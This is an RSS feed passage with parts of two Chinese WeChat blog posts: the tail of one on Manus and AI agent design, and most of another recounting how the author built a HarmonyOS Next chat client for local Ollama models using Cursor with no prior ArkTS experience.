leaf="">为什么在Manus里再次提到这个概念呢，这个是因为Manus的演示里把整体任务进行了拆解了n个小todo list这个让我想起了前面DeepSeek覆盖CoT的方式有点类似，如果在Agent 1.0时代大家都是定义好了“剧本”（工作流），所以agent 1.0时代智能就局限在你定义支持这几个场景之下，这个也就是智谱AutoGLM的套路，我第一次看到Manus的拆解todo 让我想起了可以把场景支持能力进行拆分后再组合，让它达到更加支持更多的场景的效果，这个为什么官方主打“The General AI Agent”，当然Manus可能也融合了browser-use、Computer User这类Agent 2.0的东西，这也是我在之前文章里提交的可能未来需要Agent 1.0 /Agent 2.0的结合更加合适。</span></p><p><span leaf="">另外在下面这个测评的文章视频里提到一篇文章：The Model is the Product  </span></p><blockquote><p><span leaf=""><a href="https://vintagedata.org/blog/posts/model-is-the-product" target="_blank">https://vintagedata.org/blog/posts/model-is-the-product</a></span></p></blockquote><p><span leaf=""> 这篇文章提到的两种Agent模式跟我提到的Agent 1.0 Agent 2.0概念有“异曲同工”之妙！？</span></p><p><span leaf=""><img alt="Llama Index Basic Agent" class="rich_pages wxw-img" data-imgfileid="100000686" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b099cf91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrURTdiaC4KEKibq2OfwcGjq7FJ8ZtDiahbLsibOkWqIBYQAfmc5Rmn2OtMfg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf=""><img alt="Claude Agent" class="rich_pages wxw-img" data-imgfileid="100000687" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=38b3864b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswUtaiaemYXZDhxgl9yzibmrUiaA55ssuWHIPibjfq0nZp4fvYSL790dOxX0mHUcJa0N2CFen7umhyPYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">最后</span></span></p><p><span leaf="">“性价比”是大模型应用爆发的一个核心指标，现在大模型的能力不管是开源的还是闭源的，不管是满血版还是量化版，不管是微调模型还是RAG，不管是智能体还是AI Agent，都已经被验证这些基础能力及方案能满足很多的场景，唯一缺少的是工程化落地能力！安全领域里的应用亦是如此！ </span></p><p><span leaf="">工程化落地能力是大模式时代应用的核心！</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484341">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8f89a75d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484341%26idx%3D1%26sn%3Df0ad7a6418e6bea0557838f791c88562%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 09 Mar 2025 23:07:00 +0800</pubDate>
    </item>
    <item>
      <title>[大模型时代的行为艺术] 从0基础到纯血鸿蒙APP开发实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484330&amp;idx=1&amp;sn=a17447ffd6c859e14d05adf61f76f1ea</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-01-06 15:59</span> <span style="display: inline-block;">湖南</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3c48b6db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdmQwHHa8QzXUOGicsVdiaicuu7wurYz6PDIlgtjXI1fQWSYol1XRVnJK6Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000679" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=ba20e5bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdiaD3UtKvyekEBNXzTvQibAqxBOTtGM4teJTJHOcicTQMiby6mKHqLAO5Gg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p><span leaf="">说出来可能你们都不相信，其实我是一个“行为艺术家” ... </span></p><p><span leaf="">我从小到大坚持的就一个目标，那就是“把我自己的想法都实现了！”，我自己的能做的就自己做了，自己做不到的就忽悠能做的帮我！之前是忽悠基友，后面是404的小伙。这个期间诞生不少好玩有趣的东西，有的东西到现在看还是可用的经典！人到中年，很容易“想当年”！可惜当年被我忽悠过的基友很多可能都已经不在网络安全这个行业了，404的小伙伴也换了一波又一波，不过也留下了“面向黑哥编程”的各种传奇...</span></p><p><span leaf="">大模型时代已来，所有的东西都将或已被重塑，当然包括当年被我忽悠过的基友，所谓“君子之交淡如水”，很多时候多年前的老友很多都已经转移了方向，虽然都保留着微信好友，但是平时的交流基本可以算是非常少了，而前段时间我惊喜的发现多年的基友因为大模型又重新发起一波交流讨论。看起来大家对新技术的追求，还是刻在骨子里的！这也说明大模型时代，对大家的影响是全方面的，无论你转移到了哪个领域，我们都回归到了的同一个点，你就是大模型时代，我们能用大模型技术干点什么！</span></p><p><span leaf="">“大模型AI时代，有时候其实就差拥抱的意识或者态度” 这个算是我在2024年不停的研究尝试并“苦口婆心”推荐大模型各种应用后最大的感受！很多时候，你只看或者只听黑哥忽悠还是不够的，需要自己真实的落地去尝试，才能给带来真真切切的感受！</span></p><p><span leaf="">但凡听黑哥忽悠并实践一波的我估计都会很认同这些观点，如果你非不认同，我觉得你也应该去实践一波然后过来打黑哥的脸～～</span></p><p><span leaf="">当然忽悠的同时，也得自我怀疑，自我否定，才是真正的“行为艺术”</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[当你拥有了超能力后，你需要的可能是脑子]</span></span></p><p><span leaf="">这里说的“超能力”，当然也包括“钞能力”，虽然我还没有怎么体验过，不过一般看影视剧里暴富后都是非常“空虚”，可能就是这种感觉！在2024年我吹得很多的估计就是Cursor了，当然还包括这一类的AI编程的能力，换句话说在现在大模型AI时代，编码成为了人人都有可能掌控的“超能力”，就好像黑哥在朋友圈里发：</span></p><p><span leaf="">「8年后终于看到了新希望，大模型时代应该是“产品经理”的时代！」</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000660" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=1beccd15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdYM4zdvqH3nzoQAL3sDKMkj98ZAW4XUq9TJzmVILwPuQxEWl41h6Zuw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p><span leaf="">在我之前的尝试，都是很小的需求，对于现有大模型的编程能力来说那都属于“基操”，作为一个自诩的“行为艺术家”，那肯定不能满足这种情况！我决定去尝试下AI编码的“极限”在哪里！其实有这个想法的时候，一开始突然发现自己也“空虚”了，一下找不到好的“点子” ...</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[先做个垃圾出来]</span></span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000661" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=3d574376&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdrqaqcdhoNLTnSe9pzemcDHV1gAZg99ZKkShTnefKRdAgicibuAlJCyrg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p><span leaf="">这个是之前网上看到的一个图，这个对于当年依靠“整就牛”者三个字“火爆”知乎的我来说，很有共鸣，先干起来再说！于是我把目光锁定在我刚入手的Mate70Pro及Mac Mini M4乞丐版上，入手Mate70Pro的目的就是为了纯血鸿蒙系统（鸿蒙Next）及国产手机AI的体验，入手Mac Mini M4乞丐版就是为了本地跑大模型的极致性价比，而他们有个共同点就是大模型AI的应用，所以为什么不在鸿蒙Next系统上开发一个对应的大模型应用的APP呢？看起来这是一个非常选择去尝试我的“行为艺术”，因为对于我来说完全是0基础的鸿蒙Next APP开发经验到底能做到什么程度对我自己而言还是非常期待的！</span></p><p><span leaf="">本着先干起来的原则，与其纠结那么多，不如就做一个通过调用部署在Mac Mini M4上的ollama、LM Studio的API大模型的鸿蒙Next手机客户端APP吧！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[大模型时代，办法总比困难多]</span></span></p><p><span leaf="">选择纯血鸿蒙系统开发还有一个原因，就是网上有一大波的觉得鸿蒙系统可能会再到诺基亚、手机windows等系统的覆辙，因为确实开发者生态，然后我个人认为时代不一样了，很多的游戏规则开始发射变化，当然这个观点不是完全没有根据，我必须承认从发布后入手Mate70Pro到现在还是备用机，核心还是在于微信，可以说微信这种头部的APP是制约一个新系统的非常大的坎！当然这些头部的应用我是无能为力，但是在新的小而美的APP来说，我一直认为大模型时代应该会毫无压力～</span></p><p><span leaf="">所以我觉得Huawei应该把核心重点放在AI发现上，包括AI在手机端的应用（小艺）、大模型开发鸿蒙Next APP等上面。不过目前我个人看到的还是不太够，我在动手之前搜索了下互联网基本上没有看到应用AI编程来做鸿蒙开发的视频或者文章，所以我接下第一步就是去官方网站注册并下载安装开发环境：</span></p><blockquote><p><span leaf="">DevEco Studio</span></p><p><span leaf=""><a href="https://developer.huawei.com/ " target="_blank">https://developer.huawei.com/ </a></span></p></blockquote><p><span leaf="">安装还是没有啥困难的，我用的Mac x86版本（因为我的iMac还是i9系列的），不过在使用过程中，其实比较困扰我的其实是“环境变量”的配置，因为SDK及对应的一些工具，你默认安装DevEco Studio后发现在你的终端是执行不来的，比如hdc（这个其实就相当于安卓里的adb，最开始我还在想Huawei回不回直接兼容adb 结果证明我想多了～），再比如ohpm，这个是ohpm 是HarmonyOS三方库的包管理工具（相当于nodejs中的npm），是不是有点浓浓的“山寨”味！可能是为了完全的“自主可控”，其实这些东西在某种程度也影响到了我后续的开发实践！</span></p><p><span leaf="">我当时遇到这些问题的时候，找了好久，也看了不是开发者社区的，其实很多答案都不可靠，因为鸿蒙这个开发体系实际上已经搞了好多年了，开发环境也是迭代了很多版本，很多的路径都变了，你甚至都找不到ohpm的路径，即使在DevEco Studio的设置里你也看不到，其实在DevEco Studio集成了这些东西，我这里的一手经验就是不用去管这些环境变量，你需要的直接在DevEco Studio提供的 Terminal 里直接执行对应命令就好了！</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000664" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=caad4c62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdYfNyUyRzPCbEu3b9ImvENmXRibGZOficjSo7ib4EAZCddYJSnVd6GERAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">当然你有洁癖非要在系统终端里，那你设置好环境变量就好，不过如果你有开发洁癖，可能不太适合我接下要说的基于大模型的开发。</span></p><p><span leaf="">可能有的人会想接下来是不是应该去学习下语法了？怎么可能，如果要重新学习那我这个行为艺术就没啥意义了，要的就是0基础，刺激～～</span></p><p><span leaf="">不过在正式开始之前，我得找大模型确定下，他知道不知道鸿蒙系统开发语言，随手问了下ChatGPT及Claude答案是肯定的，那就没有啥后顾之忧了，直接打开Cursor开干！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[办法总比困难多之跨IDE编程]</span></span></p><p><span leaf="">我最开始的尝试是直接在Cursor的COMPOSER窗口（这里我需要强调下，我开发里基本上99%都在COMPOSER里完成）里，输入我的提示词：帮我使用ArkTS开发一个类似于ChatGPT的程序，调用远程服务器的ollama API （大体是这样吧），然后就开始狂写代码了，如果不出意外，那这个肯定是跑不起来的！因为对于一个app工程来说除了代码，还是还有很多其他的文件，这个时候你要做的其实是打开DevEco Studio，新建一个项目，空项目就行</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000665" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ec6d4e3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdticzILKvM51GwN96dJdOJUPyBbgpdGNyVrS23hebzWhL7ic6Vcv6yPPg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">然后连接手机run起来就行（注意要签名就是要华为注册下需要实名），当然你也可以选择去尝试使用模拟器，不过我不太喜欢用模拟器直接上用真机，恭喜你！你可以跟2胡同学一样去申请一个鸿蒙开发者证书了～～～</span></p><p><span leaf="">如果你不满足，那我们继续，这个时候就应该Cursor上场了，加载刚才DevEco Studio生成的那个项目的目录，还是直接的套路直接上COMPOSER，这里得加入 @codebase （注：这个@codebase的技巧，非常重要，当你觉得Cursor的代码出现问题的时候记得来那么一下），生成的代码无脑点“Accept all”就行</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000666" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d468b24d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3Tmd96ibreOxbVT6XkDlZz4vgNOrVDTjRA7VzBxibfgRJLT88pyjN00I3s3g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">然后切换到DevEco Studio点run，对无脑run起来，不出意外的话肯定会爆错：</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000667" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a2310fcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdZ6cjdPqDXjrAGnZ6qKPnZQ9d7MrhJDAtHTMe4C3ry8ReEP011icibbdQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">你可以不用纠结这些错误，看不懂也没事，直接cp出来（选择红色的错误即可）在Cursor的COMPOSER框里输入这些错误即可</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000670" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=148f28be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdxDOicS8d7N0cJkib7E4Vsibicrrbia6c7Bm7qgarC3CuFdic03xVcodjS3WQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">还是无脑的“Accept all”，然后切回DevEco run，一般情况还会出现新的错误，无脑重复前面动作就行，直到成功run起来就行！</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000668" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=4fe32ae8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdPjMBNUglD04csmiaXPpJj47T39uIL3dkiasVXHR8ZUxOjWErPP1KBU1Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></section><p><span leaf=""><br/></span></p><p><span leaf="">但是功能不正常，不用在意无脑告诉Cursor就行：</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000669" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0c0acd79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdqGoxaHlmo5DgEgnvosdooe2F6VgeejgDOXNbVnoeSGGsrF34xMnCZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">一看是api用错了，他直接修复了另外一个点是模型加载也不对，因为这个是写这篇文章临时做的demo演示就直接手工加了个模型，实际上我的成品app里是支持模型list的。</span></p><p><span leaf="">整个过程其实就是重复上面的这些流程，整个过程不只是在编译窗口出现错误的提示，还有一些是本身功能出现了错误，就好像上面提到的api用错了的，你直接描叙就好。另外一点在整个项目进行中Cursor的写的代码也会在考虑日志里进行调试，你需要做的直接把日志cp给cursor就行，当然可能你遇到一些不好描叙问题，尤其是UI上的，这种时候你可以直接截图发给Cursor就行（Cursor支持图片）都是在COMPOSER窗口 ...</span></p><p><span leaf="">所以我们回顾一下在整个“跨IDE编程”的过程中，DevEco Studio起的作用就是第一个生成一个空APP的基本架构，然后就是run，一旦出现错误就cp这些错误或者日志提供给Cursor。所以在大模型AI时代的跨IDE编程基本就是这个套路，这个套路对iOS、安卓开发也是一样的，当然未来做到自动兼容，其实也是可以的，现在很多趋势其实就是直接自动运行变异比如Cline套路，不过现在这些对专用编译的IDE环境支持还是不够的。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[办法总比困难多之ArkTS语法错误]</span></span></p><p><span leaf="">从上面的演示看到的几个错误就是非常代表性的错误，基本可以贯穿到整个项目的过程，这个核心原因跟上面提到的ohpm等是一样的，ArkTS源于TypeScript，然后又做了很多“约束”，按之前黑哥尔“大模型是集体经验主义”的理解，生成的代码肯定是按TypeScript的格式走，甚至写代码的时候生成都是ts文件，而不是ets文件，当然ts文件鸿蒙也是认的，但是有很多的语法必须按ArkTS的方式来，要不然你run的时候就会报错，就这个语法兼容的问题haiwei官方还出了一个：</span></p><blockquote><p><span leaf="">从TypeScript到ArkTS的适配指导</span></p><p><span leaf=""><a href="https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V13/typescript-to-arkts-migration-V13" target="_blank">https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V13/typescript-to-arkts-migration-V13</a></span></p></blockquote><p><span leaf="">我当时其实是没有关注到这个东西的，因为我不管是ArkTS还是TypeScript我之前都没接触过，都是通过上面无脑cp错误丢给Cursor让他自己修改，这个时候可能就要考验你的耐心了，可能会出现很长一段时间重复动作，然后你的代码也就越改越多，而且有的时候还会因为一个简单的错误让你整个项目面目全非，这个时候你可能需要随时关注主线功能。</span></p><p><span leaf="">在这个过程中很多错误其实都是一模一样的问题，我觉得应该让模型直接总结，所以在前期没实现一个功能我都会让大模型自动总结语法记录到txt文件（这里建议用txt，如果是md可能出现代码等问题截断），这个你直接在Cursor里写提示词就行了，在COMPOSER对话里：“帮我总结下遇到的ArkTS语法错误，保持到ArkTS.txt 使用txt格式不用md格式”。</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000671" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5243fbb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdBcrdClv1yw6Xt4F7BpXm98qKxGQuX78DicgUXgsMsaaIhqXLDYcBK7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">然后你就会积累整理出一个ArkTS语法规范，放到Cursor的@Notepad里，每次问题比较多时候在Cursor的COMPOSER对话@ 这个语法就行，当然你也可以写到 .cursorrules 里也行。</span></p><p><span leaf="">不过当我写这个文章的时候我还没有尝试 .cursorrules这种高级手法，追求的就是一个沉浸式无脑死循环看Cursor怎么虐带我～～～ 当然我这里还有一些小的tips 可以发挥下DevEco Studio的剩余加载，因为有的很简单的语法错误，IDE都会提供一个自动提示并自动fix的方案</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000672" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e16dbe75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdBAyvkZ4HxxS692MdvZML1cFQfYm86hqnX2h2aicnbfNGFyCiaZic9G97A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">你需要做的是，如果你在无脑cp错误的时候，点下错误，然后找到对应代码那个“灯泡”图标，如果有fix的这种，点fix all就行，这样你可以少去不少Cursor的token或者死循环机会！，当然你是在DevEco Studio里修改的代码，回到Cursor里建议来个 @Codebase 更新下，要不然很可能下一个需求你这个错误又被Cursor恢复了！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[办法总比困难多之版本控制]</span></span></p><p><span leaf="">前面提到了大模型时代0基础开发就是沉浸式无脑在两个IDE之间无脑“Accept all”+“run” ，这样导致的一个结果是因为太过沉浸可能导致代码面目全非，而且可能影响到之前已经测试ok了的基本功能，这个时候你需要的就是版本控制了，这个时候我估计很多人就会说用git了，嗯git肯定是一个好办法，也是非常主流的方法，但是对于我这种0基础的小白来说，学git是不可能学的，当然现在cursor支持你可以直接用自然语言描叙也能搞，可惜我个人对git存在比较深的成见，到现在也就会个git clone ，那怎么办呢？其实我的土办法非常简单，直接在把项目文件夹压缩一下就行，然后改个标识个版本号就行：</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000674" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a188e18c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdSrXxqyWhFOOTdEmXicYD6GnoGsjoNgUIgiceghEicicNRvJGyQPtd5ibm8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">如果发现觉得Cusor把项目代码改得面目全非了，就直接把项目目录删除，然后点击前面备份的zip解压就行，唯一你要做的可能需要关闭DevEco Studio创新加载下项目，要不然可能编译出错！当然cursor里你最好得 @codebase下，关闭下那些乱生成的新文件窗口。</span></p><p><span leaf="">这里我比较建议，你完成一个比较稳定的功能后就备份一下！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[办法总比困难多之提示词约束与代码重构]</span></span></p><p><span leaf="">当你的程序开发功能越来越多，修复的bug越来越多的时候，慢慢你会发现莫名其妙的代码也越来越多，这是因为大模型在处理bug修复时候，可能会忘记了你原始的功能诉求，而只聚焦到错误本身，或者大模型有很多种备选的方案处理，比如你调用的组件是系统自带的还是其他的，调用的图标是系统自带的还是生成等，然后当你的项目越来越复杂，修正一个bug可以在a.ets里修改，也可以在b.ets里修改，那一不留神无脑点，可能就会导致的整个架构都变了，还有一些修正代码会莫名其妙删除一些正常的代码尤其是那种常量的定义等，这个时候你可以需要的就是“约束”，比如在提示词了来一个：请尽量使用系统只带组件、保持现有功能及架构、聚焦到错误修改不要改动其他功能及代码 等等类似的约束，当然这个可能需要你能基本看得懂每个代码实现的什么功能，虽然ArkTS等0基础，但是TS也是脱胎于JS，我对JS还是比较了解的，这点可能不太符合我开篇0基础的人设～～ 丢人了～～</span></p><p><span leaf="">这个也在于你的APP足够复杂的时候，可能会出现这些问题，在我做到1.6版本的时候，有个文件在修正错误的时候一度达到了3000行代码，这个时候你会发现一个错误丢给Cursor修正的时候，就会出现bug越改越多，错误越来越多的真正的死循环，这个事情要考虑的酒是代码重构，当然这里可以分两种情况，如果只涉及到一个文件，代码量还不算太多，但是你觉得Cursor帮你搞太复杂了，这个时候你可以直接告诉Cursor：“你搞得太复杂了，直接帮我充够，简洁实现。” 是的 跟小柯（Cursor）对话很多时候就是那么朴实无华，不用顾忌一些莫名其妙的感受！</span></p><p><span leaf="">然后另外一种情况就是上面提到的，文件代码太多了，结构太复杂这个时候就需要重新架构，对于后续的开发是非常有帮助的，要不然你会陷入无休止的死循环中，根本搞不下去。具体到我那个项目里当时所有大模型的API调用都放在了一个文件里 ChatService.ets里，随着我增加的API及功能越来越多，逻辑就非常复杂，当时我想支持Function Calling功能基本上是做不下去的，因为涉及的逻辑还是很复杂的，而且你单一文件太大，理论上对于Cursor通过RAG等方式确定代码位置，准确度可能越来越低，所以这个时候有必要把每个API调用拆分独立的模块。</span></p><p><span leaf="">这个时候你可以也会有我在朋友圈那样的感叹：</span></p><blockquote><p><span leaf="">「AI编程时代，可能产品经理之外还得需要架构师，因为经过我实战体验，随着项目功能越来越多，代码越来愈多，屎山代码也对应越来越多，如果没有好的架构，很难再持续开发新的功能！！」</span></p></blockquote><p><span leaf="">那么我们的极限到此为止了吗？黑哥尔告诉过我们：大模型是个博士！对于我这种小的项目，重构也改算不上多大的难事！直接告诉Cursor让他帮你干就行了，不过这里我让他直接开干之前我让他做了方案去尝试下，演练一下，跟之前生成总结ArkTS语法的txt一样，在COMPOSER对话里：“@codebase 我需要重构这个项目，你有什么好的建议方案，生成保持到xx.md中”。</span></p><p><span leaf="">其实我这里想给大家重复我之前早就告诉过大家：“Cursor不仅仅是一个写代码的IDE”， 当你觉得方案不错了，你直接在在COMPOSER对话里：“@xx.md 按这个方案帮我优化项目 @codebase ”（涉及到多文件修改的时候带上@codebase准没错）</span></p><p><span leaf="">当然这个技巧也可以用到新功能开发，比如我在做function calling开发的时候，tools系统涉及到整个项目的多个关键代码文件，就是先让Cursor做方案后再按方案设计写代码的，效果还是不错的，不过到了更加复杂的项目那还得看开发者的水平，这其实就是极限了。</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000675" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=05173f82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdMJNwPkwiaLpW03jGCmO46Mvl6vqbB9CA6lVibgwFChE5GruBibups8sZA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span leaf="">在设计方案的时候，有一个小的技巧就是使用@web 让大模型去搜索类似的项目的架构，当然你可以直接提供对应项目的代码给他学习参考，直接把URL丢Cursor就行！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">[办法总比困难多之项目合并]</span></span></p><p><span leaf="">在做完上面演示的基本Chat功能后，立马就有了新的需求，果然还是得先做个垃圾出来，然后就会想着去优化这个垃圾，丰富一些功能！这个需求就是语音输入的需求，我当时想着用OpenAI的API来做，不过当时体验纯血鸿蒙的小艺同学，感觉他语音效果很不错，于是想着可能有现成的SDK啥的调用，于是在官方给出的演示程序中找到了一个demo程序</span></p><blockquote><p><span leaf=""><a href="https://gitee.com/harmonyos_samples/core-speech-kit-sample-code-ark-ts-kit-asrdemo/ " target="_blank">https://gitee.com/harmonyos_samples/core-speech-kit-sample-code-ark-ts-kit-asrdemo/ </a></span></p></blockquote><p><span leaf="">简单下载后直接DevEco Studio加载run测试基本功能是可以运行的，但是按钮特别多，而且先得点击“CreateEngine”，进行能力初始化，然后再点击“startRecording”，开始识别，于是还是得使用Cursor先对这个项目进行简化</span></p><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000676" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5b68f2cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdVac3pibEYibFEo4Or9iaOgR7amT3Y6ic5P14eFicv4Qf49Aj9hXdicvbGwGw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000677" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f36dbc84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdsEHbibOabLRsAfzAc3al8mysugAs0FGI3Ihd2Gr8XIALvdfN92n4TXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000678" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=06d6fae3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusxKqGHACGkfTMeicZvHQ3TmdBxPKGoUeFKOibgpQafmxz0NzDZJSibicicm6icKbaasRC9HJZCwvTQXCmHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p><span 